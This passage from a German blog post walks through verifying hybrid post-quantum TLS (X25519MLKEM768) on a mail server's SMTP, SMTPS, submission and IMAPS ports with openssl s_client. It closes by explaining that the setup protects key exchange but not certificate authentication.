Jetzt wird's spannend. Funktioniert es tatsächlich? Zum Testen verwende ich `openssl s_client` direkt auf dem Server; denn euer lokales Linux oder macOS hat möglicherweise noch kein OpenSSL 3.5 mit ML-KEM-Support. Mein Linux Mint 22.3 hat es leider noch nicht *schnief*

#### SMTP (Port 25, STARTTLS):

```
$ openssl s_client -connect smtp.kernel-error.de:25 -starttls smtp \
  -groups X25519MLKEM768 -brief 2>&1 | grep -E 'Protocol|group'
Protocol version: TLSv1.3
Negotiated TLS1.3 group: X25519MLKEM768
```

#### SMTPS (Port 465):

```
$ openssl s_client -connect smtp.kernel-error.de:465 \
  -groups X25519MLKEM768 -brief 2>&1 | grep -E 'Protocol|group'
Protocol version: TLSv1.3
Negotiated TLS1.3 group: X25519MLKEM768
```

#### Submission (Port 587, STARTTLS):

```
$ openssl s_client -connect smtp.kernel-error.de:587 -starttls smtp \
  -groups X25519MLKEM768 -brief 2>&1 | grep -E 'Protocol|group'
Protocol version: TLSv1.3
Negotiated TLS1.3 group: X25519MLKEM768
```

#### IMAPS (Port 993):

```
$ openssl s_client -connect smtp.kernel-error.de:993 \
  -groups X25519MLKEM768 -brief 2>&1 | grep -E 'Protocol|group'
Protocol version: TLSv1.3
Negotiated TLS1.3 group: X25519MLKEM768
```

Alle vier Ports verhandeln **TLSv1.3 mit X25519MLKEM768**. Die hybride Post-Quantum-Verschlüsselung ist aktiv.

Wenn ihr testen wollt, was passiert wenn ein Client kein ML-KEM unterstützt:

```
$ openssl s_client -connect smtp.kernel-error.de:465 \
  -groups X25519 -brief 2>&1 | grep -E 'Protocol|group'
Protocol version: TLSv1.3
Negotiated TLS1.3 group: X25519
```

Fallback auf X25519 – funktioniert sauber.

### Was das nicht leistet

Wie schon beim SSH-Beitrag muss ich auch hier einschränken: Wir sichern damit den **Schlüsselaustausch** ab, nicht die **Authentifizierung**. Die TLS-Zertifikate verwenden weiterhin klassische Algorithmen (RSA, ECDSA). Für Post-Quantum-Signaturen in Zertifikaten bräuchte man ML-DSA (ehemals CRYSTALS-Dilithium) – und obwohl OpenSSL 3.5 das theoretisch unterstützt, gibt es Stand heute keine öffentliche Zertifizierungsstelle, die ML-DSA-Zertifikate ausstellt. Das wird kommen, ist aber noch Zukunftsmusik. Hey, wie ECDSA bei S/MIME (oder ist das schon anders?).

Für die Praxis bedeutet das: Ein Angreifer mit einem Quantencomputer könnte theoretisch die Serverauthentifizierung angreifen (ECDSA/RSA brechen), müsste das aber in Echtzeit tun – hier greift „store now, decrypt later" nicht, weil eine gefälschte Authentifizierung nur im Moment der Verbindung nützt. Der Schlüsselaustausch hingegen – und damit die eigentliche Vertraulichkeit der transportierten E-Mails – ist durch X25519MLKEM768 auch gegen zukünftige Quantenangriffe geschützt.

Zwei Zeilen Konfiguration, ein Reload pro Dienst – und euer Mailserver verhandelt quantensichere Verschlüsselung. Vollständig abwärtskompatibel, ohne Einschränkungen für bestehende Clients. Es gibt eigentlich keinen Grund, das nicht zu tun. Oder fällt euch etwas ein?

Viel Spaß beim Nachbauen – und wie immer: bei Fragen, [fragen](https://www.kernel-error.de/kontakt/).


---